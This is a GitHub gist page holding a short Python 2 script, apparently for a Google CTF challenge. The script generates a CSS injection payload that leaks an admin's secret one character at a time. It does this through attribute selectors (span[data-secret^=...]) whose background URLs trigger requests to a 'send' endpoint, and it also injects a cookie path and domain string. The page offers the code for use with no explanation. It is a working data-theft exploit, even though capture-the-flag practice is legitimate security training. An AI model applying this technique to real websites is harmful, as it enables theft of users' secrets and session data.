Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Created June 24, 2018 23:00
Show Gist options
  • Save pich4ya/b75a397f3ea6a5b8cbb5b3370eed602b to your computer and use it in GitHub Desktop.
Save pich4ya/b75a397f3ea6a5b8cbb5b3370eed602b to your computer and use it in GitHub Desktop.
import string
kn = ""
kn = kn.replace('}', "\\}").replace('{', "\\{")
lt = string.ascii_letters + string.digits + "_}{"
payload = "span[data-secret^=%s%s]{background: url(send?name=admin&msg=%s);}"
res = "/name xx]{color:red;}span[data-secret]{background:url(send?name=admin&msg=/secret 1;Path=/; domain=xx.web.ctfcompetition.com);}"
for x in lt:
if x == '{' or x == '}':
x = "\\" + x
res += payload % (kn, x, x)
print res + "span[data-name^=xx"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment